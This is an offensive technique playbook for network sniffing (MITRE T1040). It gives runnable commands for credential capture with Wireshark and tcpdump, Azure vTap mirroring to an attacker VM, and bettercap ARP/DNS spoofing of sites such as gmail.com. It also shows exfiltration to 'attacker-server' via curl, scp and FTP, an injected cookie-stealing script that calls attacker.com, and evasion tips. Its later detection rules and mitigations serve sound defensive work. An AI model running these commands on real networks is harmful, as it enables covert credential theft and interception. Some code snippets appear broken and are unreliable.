| Attribute | Details |
|---|---|
| Technique ID | COLLECT-NETWORK-001 |
| MITRE ATT&CK v18.1 | T1040 - Network Sniffing |
| Tactic | Collection |
| Platforms | Multi-Env (Windows, Azure, On-Premises, Linux) |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | All Windows versions (2016+), Azure VMs, Linux all distributions |
| Patched In | N/A (Technique requires infrastructure/network access, not inherent vulnerability) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Network traffic interception is the passive or active capture of network communications between systems to harvest sensitive data including credentials, session tokens, configuration details, and authentication material. Adversaries exploit the fundamental principle that much network traffic, particularly at the load balancer level in cloud environments, traverses networks in cleartext due to TLS termination for performance optimization. By placing a network interface into promiscuous mode, accessing SPAN ports, or leveraging cloud-native traffic mirroring services (Azure vTap, AWS Traffic Mirroring, GCP Packet Mirroring), attackers can passively monitor all traffic without modifying packets, making this a stealthy reconnaissance and data harvesting technique.
Attack Surface: Network interfaces in physical/hybrid networks, cloud virtual networking interfaces, traffic mirroring services, SPAN port configurations, wireless networks, and DNS/NetBIOS services operating over unencrypted protocols.
Business Impact: Complete compromise of authentication material, intellectual property theft, and lateral movement enablement. An attacker capturing even a single unencrypted HTTP Basic Auth header or DNS query can pivot to any system the captured credential has access to. In cloud environments, this enables harvesting of API tokens, managed identity credentials, and service-to-service authentication tokens. This technique has been observed in APT campaigns (APT28 via Responder, DarkVishnya credential theft, Sandworm Team password sniffing) and is fundamental to adversary-in-the-middle (AiTM) operations.
Technical Context: Network sniffing can occur passively with zero detectable artifacts if using cloud traffic mirroring. Traditional host-based sniffing using tcpdump or Wireshark generates process execution events but operates below most endpoint detection layers if execution is from a legitimate utility. In cloud, traffic can be exfiltrated silently via vTap mirrors redirected to attacker-controlled instances. Typical detection latency is hours to days, as most organizations do not monitor for NIC promiscuous mode changes or traffic mirror creation in real-time.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 2.1.1, 2.1.2 | Ensure encryption in transit for all network communications; implement network segmentation to restrict broadcasts and multicast sniffing |
| DISA STIG | Windows Server: V-254390, V-254391 | Ensure legacy protocols (LLMNR, NBT-NS) are disabled; enforce Kerberos as primary authentication mechanism |
| NIST 800-53 | SC-7 (Boundary Protection), SC-8 (Transmission Confidentiality) | Encrypt all external communications; monitor for unauthorized network access |
| GDPR | Article 32 | Technical and organizational measures for security of processing (encryption, monitoring) |
| DORA (EU Finance) | Article 9 | Incident Detection and Response – must detect unauthorized network monitoring |
| NIS2 (EU Critical Infrastructure) | Article 21 | Cyber Risk Management – implement network segmentation and encryption of sensitive data |
| ISO 27001 | A.8.1.1, A.10.1.1 | Network access controls; encryption of sensitive data in transit |
| ISO 27005 | Risk Assessment Scenario | “Unauthorized Network Eavesdropping” – likelihood high if unencrypted protocols in use |
Required Privileges:
Required Access:
Supported Versions:
Tools:
# Check if network adapter supports promiscuous mode
Get-NetAdapter | Select-Object Name, InterfaceDescription, MacAddress
# Attempt to place NIC into promiscuous mode (requires Admin)
# This requires WinPcap or Npcap driver installation first
What to Look For:
Version Note: Server 2022+ restricts some promiscuous mode operations without Kernel Mode Driver signing; use Npcap instead of WinPcap.
Command (Server 2016-2019):
# WinPcap compatibility check
Get-Package | Where-Object {$_.Name -like "*WinPcap*"}
Command (Server 2022+):
# Npcap compatibility check (modern replacement)
Get-Package | Where-Object {$_.Name -like "*Npcap*"}
# List all VMs eligible for vTap traffic mirroring
az vm list --query "[].{Name:name, ResourceGroup:resourceGroup, NetworkInterface:networkProfile.networkInterfaces[0].id}"
# Check if Network Watcher is enabled in region
az network watcher list --query "[].{Name:name, ProvisioningState:provisioningState}"
What to Look For:
# Verify tcpdump availability
which tcpdump
tcpdump --version
# Check libpcap library for raw socket capture
ldconfig -p | grep libpcap
# Enumerate network interfaces for capture eligibility
ip addr show
ifconfig # Older systems
What to Look For:
Supported Versions: Server 2016-2025, Windows 10/11
Objective: Establish the kernel-mode packet capture driver required for network interface access.
Prerequisites: Administrator privileges, system reboot required.
Command (PowerShell as Administrator):
# Download Npcap installer
Invoke-WebRequest -Uri "https://npcap.com/dist/npcap-1.73.exe" -OutFile "C:\Temp\npcap-installer.exe"
# Execute silent installation with WinPcap compatibility mode
& "C:\Temp\npcap-installer.exe" /S /loopback_support=yes /dlt_null=yes /admin_only=no
Version Note: Server 2022+ requires Npcap v1.70+ due to Driver Signature Enforcement (DSE) changes.
Command (Server 2022+):
# Npcap v1.73+ is DSE-signed; WinPcap will fail
Invoke-WebRequest -Uri "https://npcap.com/dist/npcap-1.73.exe" -OutFile "C:\Temp\npcap-latest.exe"
& "C:\Temp\npcap-latest.exe" /S # DSE-signed, no special flags needed
Expected Output:
Installation completed successfully
Npcap driver installed and running
OpSec & Evasion:
/S to avoid GUI popup (less conspicuous than GUI installer).Troubleshooting:
Objective: Open Wireshark and identify the target network interface for capture.
Command:
# Launch Wireshark (assumes installed via chocolatey or MSI)
& "C:\Program Files\Wireshark\Wireshark.exe"
Manual GUI Steps:
Expected Output:
Available Interfaces:
1. Ethernet (Intel I210 Gigabit Network Connection)
2. Wi-Fi (Intel Wireless-AC 9260)
3. Loopback (Adapter for loopback traffic capture)
4. VPN Adapter (OpenVPN Adapter)
What This Means:
Objective: Reduce noise by capturing only relevant traffic (e.g., authentication protocols, cleartext credentials).
Command (in Wireshark Capture Filter field):
tcp port 80 or tcp port 3389 or tcp port 445 or tcp port 21 or tcp port 23 or tcp port 25 or tcp port 110
Alternative Filter (Credentials in Transit):
tcp.port == 80 or tcp.port == 8080 or tcp.port == 21 or tcp.port == 110 or tcp.port == 25
Manual GUI Steps:
Cleartext ProtocolsExpected Behavior:
OpSec & Evasion:
C:\$Recycle.Bin\capture.pcapng (requires post-exploitation modification of NTFS permissions).Troubleshooting:
Get-Service npcap | Select-Object Status.Objective: Begin packet capture and visually inspect captured credentials/tokens in real-time.
Manual GUI Steps:
Expected Output:
Frame 1234: 152 bytes on wire (1216 bits), 152 bytes captured (1216 bits)
Ethernet II, Src: aa:bb:cc:dd:ee:ff, Dst: 11:22:33:44:55:66
Internet Protocol Version 4, Src: 192.168.1.100, Dst: 192.168.1.50
Transmission Control Protocol, Src Port: 54321, Dst Port: 80
Hypertext Transfer Protocol
GET /admin HTTP/1.1
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQxMjM=
What This Means:
dXNlcm5hbWU6cGFzc3dvcmQxMjM= reveals username:password123.Credential Extraction:
# Decode captured Base64 Auth header
[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("dXNlcm5hbWU6cGFzc3dvcmQxMjM="))
# Output: username:password123
Objective: Save the capture file and move it off the target system for analysis.
Manual GUI Steps:
C:\Windows\Temp\report.pcapngCommand (PowerShell - Copy to SMB Share for Exfil):
# Stop capture first, then copy
Copy-Item -Path "C:\Windows\Temp\report.pcapng" -Destination "\\attacker-server\share\captures\report.pcapng"
Command (Exfil via FTP):
# Connect to attacker FTP server and upload
$ftp = New-Object System.Net.FtpWebRequest("ftp://attacker-server/report.pcapng")
$ftp.Credentials = New-Object System.Net.NetworkCredential("anonymous", "")
$ftp.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile
$fileStream = [System.IO.File]::OpenRead("C:\Windows\Temp\report.pcapng")
$ftp.GetRequestStream().Write($fileStream.ToArray(), 0, $fileStream.Length)
$ftp.GetResponse()
OpSec & Evasion:
\\servername\share) instead of mapped drives to avoid registry artifacts.Remove-Item -Path "C:\Windows\Temp\report.pcapng" -Force.Supported Versions: All Linux distributions, BSD, macOS
Objective: Confirm tcpdump binary exists and user has CAP_NET_RAW capability or root access.
Command:
# Check tcpdump binary location
which tcpdump
tcpdump --version
# Verify libpcap support
ldconfig -p | grep libpcap
# Check current user capabilities
getcap -r / 2>/dev/null | grep tcpdump
# or
sudo -l | grep tcpdump # Check sudo permissions
Expected Output:
tcpdump version 4.99.4
libpcap version 1.11.0
/usr/bin/tcpdump = cap_net_raw,cap_net_admin+ep (Excellent - no sudo needed)
What to Look For:
sudo -l for passwordless tcpdump execution.Objective: Define a filter expression to capture only authentication and credential traffic.
Command (Capture HTTP Basic Auth):
sudo tcpdump -i eth0 'tcp port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x48545450)' -w /tmp/http_capture.pcap
Command (Capture DNS Queries - Privacy Reconnaissance):
sudo tcpdump -i eth0 'udp port 53' -w /tmp/dns_capture.pcap
Command (Capture SMB Traffic - Credential Relay Opportunity):
sudo tcpdump -i eth0 'tcp port 445 or tcp port 139' -w /tmp/smb_capture.pcap
Command (Capture All on Interface without sudo - if CAP_NET_RAW set):
# No sudo required if capabilities are set properly
tcpdump -i eth0 -w /tmp/all_traffic.pcap
Version Note: Linux kernel 4.18+ supports eBPF filters for more efficient capture.
Command (Server 2016-equivalent Linux with eBPF):
# Modern libpcap with eBPF JIT compilation
tcpdump -i eth0 'tcp port 80 or tcp port 443 or tcp port 3389' -w capture.pcap --jit off # Disable JIT for compatibility
Expected Behavior:
Objective: Sniff traffic and immediately grep for sensitive patterns (passwords, tokens, API keys).
Command (Stream credentials to stdout):
sudo tcpdump -i eth0 -A -l 'tcp port 80 or tcp port 8080' | grep -i 'Authorization\|password\|token\|api'
Command (Capture and parse FTP credentials):
sudo tcpdump -i eth0 -A 'tcp port 21' | grep -oP '(USER|PASS) \K.*'
Command (Extract HTTP Basic Auth headers):
sudo tcpdump -i eth0 -A 'tcp port 80' | grep -oP 'Authorization: Basic \K[^ ]+' | while read cred; do echo "$cred" | base64 -d; echo; done
OpSec & Evasion:
-l flag to flush output immediately (avoids buffering delays if process is killed)./tmp/.capture.pcap or /dev/shm/capture.pcap (RAM disk, no disk artifacts).exec to replace current process: exec tcpdump -i eth0 ....Expected Output:
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQxMjM=
USER admin
PASS P@ssw0rd!
TOKEN eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Objective: Export captured data in a portable format (PCAP-NG) and move it off-target.
Command (Convert to standard PCAP for compatibility):
# tcpdump saves as PCAP-NG by default; convert to PCAP for legacy tools
tcpdump -r /tmp/http_capture.pcap -w /tmp/http_capture_legacy.pcap
Command (Exfiltrate via curl/wget):
# Send via HTTP POST
curl -X POST --data-binary @/tmp/http_capture.pcap http://attacker-server:8080/exfil
# or via scp (if SSH available)
scp /tmp/http_capture.pcap attacker@attacker-server:/tmp/
Command (Base64-encode for obfuscation during exfil):
cat /tmp/http_capture.pcap | base64 | curl -X POST -d @- http://attacker-server:8080/b64
OpSec & Evasion:
shred -vfz -n 3 /tmp/http_capture.pcap (secure overwrite).0xd4 0xc3 0xb2 0xa1).Supported Versions: All Azure regions with Network Watcher
Objective: Identify VMs with interesting traffic and establish the network monitoring infrastructure.
Command (Azure CLI):
# List all VMs in current subscription
az vm list --query "[].{Name:name, ResourceGroup:resourceGroup, PublicIP:publicIps}"
# Check if Network Watcher exists in target region
az network watcher list --query "[?location=='eastus']"
# Create Network Watcher if missing
az network watcher create --resource-group <RG> --location eastus --name NetworkWatcher_eastus
Command (PowerShell):
# Get all VMs
Get-AzVM | Select-Object Name, ResourceGroupName, Location
# Create Network Watcher via PowerShell
$rg = "MyResourceGroup"
New-AzNetworkWatcher -Name "NetworkWatcher_eastus" -ResourceGroupName $rg -Location "eastus"
Expected Output:
{
"name": "NetworkWatcher_eastus",
"resourceGroup": "MyResourceGroup",
"location": "eastus",
"provisioningState": "Succeeded"
}
Version Note: Network Watcher is free; traffic mirroring incurs minimal egress costs. All Azure regions support this as of 2024.
Objective: Set up an attacker-controlled Azure VM to receive mirrored traffic.
Command (Create minimal Linux VM for capture):
# Create resource group for attacker infrastructure
az group create --name "AttackerRG" --location eastus
# Create minimal Linux VM (tcpdump pre-installed)
az vm create \
--resource-group AttackerRG \
--name CapturVM \
--image UbuntuLTS \
--size Standard_B1s \
--admin-username azureuser \
--generate-ssh-keys \
--public-ip-address-allocation static
Command (Install tcpdump on target if not present):
# SSH into capture VM and install
ssh azureuser@<public-ip>
sudo apt-get update && sudo apt-get install -y tcpdump tshark
# Start capturing on background
sudo nohup tcpdump -i eth0 -w /tmp/mirror.pcap > /dev/null 2>&1 &
Expected Output:
CapturVM successfully created
Public IP: 40.123.45.67
SSH: ssh azureuser@40.123.45.67
Objective: Configure vTap to redirect traffic from target VMs to the attacker capture VM.
Command (Create Traffic Mirror Target - Destination NIC):
# Get destination VM's NIC ID
DEST_NIC=$(az vm show -d -g AttackerRG -n CapturVM --query 'networkProfile.networkInterfaces[0].id' -o tsv)
# Create Traffic Mirror Target
az network vnet tap create \
--resource-group AttackerRG \
--name "MirrorTarget" \
--destination "$DEST_NIC"
Command (Create Traffic Mirror Source - Source VM’s NIC):
# Get source VM's NIC ID
SOURCE_NIC=$(az vm show -d -g SourceRG -n SourceVM --query 'networkProfile.networkInterfaces[0].id' -o tsv)
# Attach source NIC to mirror target
az network nic ip-config vtap add \
--resource-group SourceRG \
--nic-name $(basename $SOURCE_NIC) \
--ip-config-name ipconfig1 \
--tap "/subscriptions/<subscription>/resourceGroups/AttackerRG/providers/Microsoft.Network/virtualNetworkTaps/MirrorTarget"
Expected Output:
Successfully created vTap mirror
Source: SourceVM NIC
Destination: CapturVM NIC
Traffic Direction: Ingress + Egress
What This Means:
Objective: Use standard PCAP analysis tools on captured traffic without touching the source VM.
Command (Analyze captured PCAP on attacker VM):
# Download capture from target to attacker workstation
ssh azureuser@<attacker-ip> 'sudo cat /tmp/mirror.pcap' | wireshark -i - &
# or use tshark for CLI analysis
ssh azureuser@<attacker-ip> 'sudo tshark -r /tmp/mirror.pcap -Y "http.request.method==POST" -T fields -e frame.time -e ip.src -e ip.dst -e http.request.full_uri'
Command (Extract credentials from mirror):
# Filter HTTP Basic Auth headers
tshark -r /tmp/mirror.pcap -Y "http.request" -e http.request.header.name -e http.request.header.value | grep -i authorization
OpSec & Evasion:
az network vnet tap delete --resource-group AttackerRG --name MirrorTarget.Troubleshooting:
Supported Versions: Windows 10+, Linux all distributions, macOS
Objective: Deploy the active MITM framework with ARP spoofing and DNS poisoning.
Command (Linux - apt):
sudo apt-get update && sudo apt-get install -y bettercap
Command (Windows - via Go binary):
# Download pre-compiled binary
Invoke-WebRequest -Uri "https://github.com/bettercap/bettercap/releases/download/v2.32.0/bettercap_windows_amd64.zip" -OutFile "C:\Temp\bettercap.zip"
Expand-Archive -Path "C:\Temp\bettercap.zip" -DestinationPath "C:\Temp\bettercap"
# Launch (requires Admin, requires WinPcap/Npcap installed first)
cd C:\Temp\bettercap
.\bettercap.exe -iface "Ethernet 2"
Command (macOS - via Homebrew):
brew install bettercap
Version Note: Bettercap v2.30+ required for modern encryption bypass techniques.
Objective: Enumerate network topology and identify interesting targets.
Interactive Bettercap Session (bash):
sudo bettercap -iface eth0
# In bettercap interactive prompt:
> help
> net.probe on
Expected Output:
[*] Starting network probe...
192.168.1.1 08:00:27:9c:d6:90 (Gateway)
192.168.1.50 52:54:00:12:34:56 (Windows Server 2022)
192.168.1.75 52:54:00:ab:cd:ef (Linux Workstation)
192.168.1.100 52:54:00:11:22:33 (Unknown - Target)
What to Look For:
Objective: Position attacker as man-in-the-middle between target and gateway.
Bettercap Commands:
> set arp.spoof.targets 192.168.1.100
> arp.spoof on
> net.sniff on
What This Does:
OpSec & Evasion:
-X flag to avoid gateway restoration; attacker interface will become primary gateway.Expected Output:
[*] Spoofing 192.168.1.100...
[*] Packets captured: 1234
[+] New GET request: http://192.168.1.50/admin
[+] Authorization header detected: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
Objective: Redirect target’s DNS queries to attacker-controlled IP (e.g., rogue webserver).
Bettercap Commands:
> set dns.spoof.domains example.com
> set dns.spoof.address 192.168.1.99 # Attacker IP
> dns.spoof on
Interactive Setup (for credential harvesting):
# Create fake HTTP server on attacker machine listening on port 80
sudo python3 -m http.server 80 --directory /tmp/fake_site
# In bettercap, configure spoofing
> set dns.spoof.domains amazon.com,gmail.com,outlook.office.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on
Expected Output:
[*] DNS spoofing active
example.com -> 192.168.1.99
[+] Target 192.168.1.100 requested example.com
[*] Redirecting to 192.168.1.99
[+] Target now viewing fake site at 192.168.1.99
Use Case (Credential Harvesting):
amazon.com, redirect to attacker’s fake login page.Objective: Intercept and modify HTTP responses (e.g., inject keylogger, downgrade HTTPS).
Bettercap HTTP Proxy Module:
> set http.proxy on
> set http.proxy.port 8080
> set http.proxy.script /path/to/interceptor.js
# Custom JavaScript to inject payload
cat > /tmp/interceptor.js << 'EOF'
function onRequest(req) {
// Log all GET requests
console.log("[+] " + req.method + " " + req.path);
// Inject XSS payload into responses
if (req.path.includes("/login")) {
return {
body: '<script>fetch("http://attacker.com/steal?cookie="+document.cookie)</script>'
};
}
}
EOF
Expected Behavior:
OpSec & Evasion:
Version: 4.2.2 (latest as of Jan 2025) Minimum Version: 3.0.0 (older versions lack modern encryption support) Supported Platforms: Windows, macOS, Linux
Installation (Windows):
# Via Chocolatey
choco install wireshark
# Via direct download
Invoke-WebRequest -Uri "https://1.as.dl.wireshark.org/win64/Wireshark-win64-4.2.2.exe" -OutFile "$env:TEMP\wireshark.exe"
& "$env:TEMP\wireshark.exe"
Installation (Linux):
sudo apt-get install wireshark
sudo usermod -a -G wireshark $USER # Add current user to wireshark group
newgrp wireshark # Activate group membership
Version-Specific Notes:
Usage:
# GUI launch
wireshark
# CLI capture (tshark)
tshark -i eth0 -w capture.pcapng
# Filter HTTP with credentials
tshark -i eth0 -Y "http.request" -e http.request.header.name -e http.request.header.value
Version: 4.99.4 (latest) Minimum Version: 4.99.0 Supported Platforms: Linux, BSD, macOS, Windows (via WinDump or Npcap)
Installation (Linux - Debian/Ubuntu):
sudo apt-get install tcpdump
Installation (macOS):
# Pre-installed; or via Homebrew
brew install libpcap
Installation (Windows - via Npcap):
# tcpdump is bundled with Npcap
# Download from https://npcap.com/
Version-Specific Behavior:
Usage (Capture credentials):
# Capture Basic Auth headers
tcpdump -i eth0 -A 'tcp port 80 or tcp port 8080' | grep -i 'Authorization'
# Capture DNS queries
tcpdump -i eth0 -A 'udp port 53' -w dns.pcap
# Capture with packet count limit
tcpdump -i eth0 -c 10000 -w capture.pcap
Version: 2.32.0 (latest) Minimum Version: 2.30.0 (required for modern MITM techniques) Supported Platforms: Linux, macOS, Windows, Android
Installation (Linux):
# Via package manager
sudo apt-get install bettercap
# Via Go (latest binary)
go install github.com/bettercap/bettercap/cmd/bettercap@latest
Installation (Windows):
# Download pre-compiled binary
wget https://github.com/bettercap/bettercap/releases/download/v2.32.0/bettercap_windows_amd64.zip
Expand-Archive bettercap_windows_amd64.zip -DestinationPath C:\bettercap
cd C:\bettercap
.\bettercap.exe
Version-Specific Changes:
Quick Start Commands:
# Interactive mode
sudo bettercap -iface eth0
# Scripted mode (non-interactive)
sudo bettercap -iface eth0 -no-colors -eval "net.probe on; sleep(5); net.show; arp.spoof on; net.sniff on"
# Custom configuration file
sudo bettercap -config /path/to/bettercap.conf
Version: 0.11.0 (latest) Minimum Version: 0.10.0 Supported Platforms: Windows, Linux, macOS
Installation (Linux - via pip):
pip3 install impacket
Network Sniffing Module:
from impacket.ImpactPacket import *
# Packet sniffer using Impacket
def sniff_packets():
sniffer = ConfPacket()
sniffer.setfilter("port 80 or port 445")
while True:
packet = sniffer.next()
if packet.isHttp():
print(f"[*] HTTP: {packet.get_full_uri()}")
Atomic Test ID: T1040-1 Test Name: Network Sniffing via tcpdump (Linux) Description: Capture network traffic using tcpdump on Linux endpoint. Supported Platforms: Linux
Command:
# Atomic test execution
sudo tcpdump -i eth0 -G 5 -w /tmp/capture_%F_%T.pcap '(ip dst 8.8.8.8 or ip dst 8.8.4.4) and tcp port 443'
# Cleanup
rm -f /tmp/capture_*.pcap
Command (Windows variant):
# Atomic test for Windows
tshark.exe -i 1 -f "port 80 or port 8080" -w "C:\temp\capture.pcap" -a duration:10
# Cleanup
Remove-Item -Path "C:\temp\capture.pcap" -Force
Reference: Atomic Red Team T1040-1
Rule Configuration:
SPL Query:
sourcetype=sysmon OR sourcetype=auditd
(
(EventCode=3 AND Image="*Wireshark*") OR
(EventCode=3 AND Image="*tcpdump*") OR
(EventCode=3 AND Image="*tshark*") OR
(EventCode=3 AND Image="*bettercap*") OR
(EventCode=1 AND CommandLine="*ip link set * promisc on*") OR
(EventCode=1 AND CommandLine="*ifconfig * promisc*")
)
| stats count by Computer, User, Image, CommandLine
| where count > 0
What This Detects:
ip or ifconfig.Manual Configuration Steps:
T1040_Promisc_Mode_DetectionSource: Splunk Security Content - Network Sniffing Detection
Rule Configuration:
KQL Query:
AzureActivity
| where OperationName in ("Create Virtual Network Tap", "Microsoft.Network/virtualNetworkTaps/write")
| where ActivityStatus == "Success"
| project
TimeGenerated,
Caller,
CallerIpAddress,
OperationName,
ResourceGroup,
_ResourceId
| join kind=leftouter (
AuditLogs
| where OperationName == "Create Virtual Network Tap"
| project InitiatedBy, TargetResources
) on $left.Caller == $right.InitiatedBy
| extend
TapName = split(_ResourceId, "/")[-1],
RiskLevel = iff(CallerIpAddress in ("127.0.0.1", "::1"), "Low", "High")
| where RiskLevel == "High"
What This Detects:
Manual Configuration Steps (Azure Portal):
T1040_Azure_vTap_CreationHigh5 minutes24 hoursRule Configuration:
KQL Query:
Syslog
| where Facility == "USER"
| where ProcessName in ("tcpdump", "tshark", "wireshark", "bettercap")
| extend
IsCapLibrary = iff(SyslogMessage contains "libpcap", true, false),
IsPromisc = iff(SyslogMessage contains "promiscuous", true, false)
| where IsCapLibrary == true or IsPromisc == true
| project
TimeGenerated,
Computer,
ProcessName,
SyslogMessage,
SourceIP = iff(Computer contains ".", Computer, "LOCAL")
| summarize
ToolCount = dcount(ProcessName),
LastExecution = max(TimeGenerated) by Computer, SourceIP
| where ToolCount >= 2 # Multiple capture tools = suspicious
What This Detects:
Manual Configuration Steps (PowerShell):
$workspaceName = "YourSentinelWorkspace"
$resourceGroup = "YourResourceGroup"
$query = @"
Syslog
| where ProcessName in ("tcpdump", "tshark", "wireshark", "bettercap")
| where SyslogMessage contains "libpcap" or SyslogMessage contains "promiscuous"
| project TimeGenerated, Computer, ProcessName, SyslogMessage
"@
New-AzSentinelAlertRule `
-ResourceGroupName $resourceGroup `
-WorkspaceName $workspaceName `
-DisplayName "T1040_Network_Sniffer_Tools_Detected" `
-Query $query `
-Severity "Medium" `
-Enabled $true
Event ID: 10 (Sysmon - ProcessAccess)
Manual Configuration Steps (Group Policy):
gpupdate /force on target machinesManual Configuration Steps (Sysmon):
sysmon-config.xml:
```xml3. Install: `sysmon64.exe -accepteula -i sysmon-config.xml`
4. Query logs: `Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object {$_.Id -eq 3}`
---
## 11. SYSMON DETECTION PATTERNS
**Minimum Sysmon Version:** 13.0+
**Supported Platforms:** Windows
```xml
<Sysmon schemaversion="4.90">
<!-- Detect Wireshark/tcpdump/tshark process creation -->
<ProcessCreate onmatch="include">
<Image condition="image">wireshark.exe</Image>
<Image condition="image">tshark.exe</Image>
<CommandLine condition="contains">-i 1</CommandLine>
<CommandLine condition="contains">-w C:\</CommandLine>
<Image condition="contains">tcpdump</Image>
</ProcessCreate>
<!-- Detect network driver loading (WinPcap/Npcap) -->
<LoadImage onmatch="include">
<ImageLoaded condition="contains">npcap</ImageLoaded>
<ImageLoaded condition="contains">winpcap</ImageLoaded>
<ImageLoaded condition="contains">packet.dll</ImageLoaded>
</LoadImage>
<!-- Detect network interface enumeration -->
<CreateRemoteThread onmatch="include">
<SourceImage condition="image">wireshark.exe</SourceImage>
<TargetImage condition="image">wscript.exe</TargetImage>
</CreateRemoteThread>
</Sysmon>
Manual Configuration Steps:
sysmon64.exe -accepteula -i sysmon-config.xmlGet-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 100 | Where-Object {$_.Id -eq 1}... | Where-Object {$_.Message -match "wireshark|tcpdump|tshark"}Alert Name: Suspicious network capture tool execution detected
Manual Configuration Steps (Enable Defender for Cloud):
Alert Characteristics:
Query: Network Capture Operations
Search-UnifiedAuditLog `
-StartDate (Get-Date).AddDays(-7) `
-EndDate (Get-Date) `
-Operations "New-NetEventSession", "Start-NetEventSession", "Add-NetEventPacketCaptureProvider" `
-FreeText "network" | Select-Object UserIds, Operations, AuditData
properties.justification field for user-provided reason (often absent for malicious activity).Manual Configuration Steps (Enable Unified Audit Log):
Manual Configuration Steps (Search Audit Logs):
Enforce Encrypted Protocols Exclusively: Disable or block cleartext protocols (HTTP, Telnet, SMTP unencrypted, FTP, SMB v1) at firewall and endpoint level.
Applies To Versions: All Windows/Azure versions
Manual Steps (Windows Firewall):
Block Cleartext ProtocolsManual Steps (Azure Network Security Groups):
Block-CleartextManual Steps (PowerShell - Firewall):
# Block HTTP outbound
New-NetFirewallRule -DisplayName "Block HTTP Outbound" -Direction Outbound -LocalPort 80 -Protocol TCP -Action Block
# Block Telnet outbound
New-NetFirewallRule -DisplayName "Block Telnet Outbound" -Direction Outbound -LocalPort 23 -Protocol TCP -Action Block
Disable Legacy Authentication Protocols: Ensure only Kerberos (Windows AD), OAuth 2.0 (Azure), and SAML (Federation) are permitted.
Applies To Versions: All
Manual Steps (Entra ID - Conditional Access):
Block Legacy AuthenticationEnable Network Segmentation: Implement VLAN segmentation to prevent east-west traffic interception.
Applies To Versions: All (requires network infrastructure support)
Manual Steps (Azure Virtual Networks):
Production-Servers (10.0.1.0/24)Workstations (10.0.2.0/24)IoT-Devices (10.0.3.0/24)Implement MFA and Disable Basic Authentication: Eliminate cleartext credential transmission even if protocols remain accessible.
Manual Steps (Exchange Online - Block Basic Auth):
# Connect to Exchange Online
Connect-ExchangeOnline
# Block basic auth for all protocols
Set-AuthenticationPolicy -Name "Block Basic Auth" -AllowBasicAuthActiveSync $false `
-AllowBasicAuthAutodiscover $false `
-AllowBasicAuthImap $false `
-AllowBasicAuthMapi $false `
-AllowBasicAuthPop $false `
-AllowBasicAuthRps $false `
-AllowBasicAuthSmtp $false
Monitor and Alert on Network Capture Tool Execution: Deploy Sysmon rules and Sentinel alerts (as detailed in Detection sections above).
Restrict vTap Permissions: Limit who can create traffic mirrors in Azure.
Manual Steps (Azure RBAC):
Conditional Access – Require Compliant Network:
Manual Steps:
Require Corporate Network for Sensitive OperationsRBAC – Principle of Least Privilege:
Manual Steps:
# Check if HTTP/Telnet outbound is blocked
Get-NetFirewallRule -DisplayName "*Block*" | Select-Object DisplayName, Action, Direction
# Verify Kerberos is primary auth (not Basic)
Get-ADUser -Filter * -Properties logonWorkstations | Select-Object Name, logonWorkstations
# Check Entra ID conditional access policies
az ad policy list --query "[].displayName"
# Verify vTap restrictions (should return minimal results)
az network vnet tap list --query "[].resourceGroup"
Expected Output (If Secure):
DisplayName Action Direction
--- ------ ---------
Block Cleartext Protocols Block Outbound
Block HTTP Outbound Block Outbound
Block Legacy Authentication Block Inbound
Conditional Access Policies:
- Block Legacy Authentication
- Require Device Compliance
- Block High-Risk Users
What to Look For:
C:\Program Files\Wireshark\wireshark.exe/usr/bin/tcpdump/usr/sbin/tsharkC:\Temp\*.pcapng (capture files)/tmp/*.pcap or /dev/shm/*.pcap (Linux captures)HKLM\Software\Npcap (WinPcap/Npcap installation)HKCU\Software\Wireshark\ (Wireshark profiles)C:\Windows\Prefetch\tcpdump.exe-*.pf (indicates first execution)Get-NetAdapter)Isolate:
Command (Windows):
# Disconnect network adapter
Disable-NetAdapter -Name "Ethernet 2" -Confirm:$false
Manual (Azure):
Collect Evidence:
Command:
# Export Security Event Log
wevtutil epl Security C:\Evidence\Security.evtx
# Export Sysmon logs
wevtutil epl "Microsoft-Windows-Sysmon/Operational" C:\Evidence\Sysmon.evtx
# Capture registry hive (Wireshark settings)
reg save HKCU\Software\Wireshark C:\Evidence\Wireshark.reg
# List all network interfaces and their status
Get-NetAdapter | Export-Csv -Path C:\Evidence\NetworkAdapters.csv
Manual:
C:\Evidence\Security.evtxRemediate:
Command:
# Kill tcpdump/Wireshark processes
Stop-Process -Name "wireshark" -Force
Stop-Process -Name "tshark" -Force
Stop-Process -Name "tcpdump" -Force
# Uninstall Wireshark
Uninstall-Package -Name "Wireshark" -AllVersions
# Remove Npcap if not needed
Uninstall-Package -Name "Npcap"
# Reset network adapter to non-promiscuous mode (automatic on reboot)
Manual:
Investigate Post-Interception Activities:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-CLOUD-001] BloodHound Azure Enumeration | Attacker maps Azure tenant and identifies service accounts |
| 2 | Initial Access | [IA-EXPLOIT-001] Azure Application Proxy Exploitation | Attacker gains user-level access to hybrid network |
| 3 | Lateral Movement | [LM-REMOTE-001] SMB/Lateral Movement | Attacker positions themselves on internal network segment |
| 4 | Collection (Current) | [COLLECT-NETWORK-001] Network Traffic Interception | Attacker captures unencrypted credentials via sniffing |
| 5 | Privilege Escalation | [PE-VALID-001] Exchange Server ACL Abuse | Attacker uses captured Exchange admin credentials for privilege escalation |
| 6 | Persistence | [PERSIST-ACCT-001] AdminSDHolder Abuse | Attacker modifies AdminSDHolder to maintain DA-level access |
| 7 | Impact | [IMPACT-RANSOM-001] Ransomware Deployment | Attacker deploys ransomware across compromised infrastructure |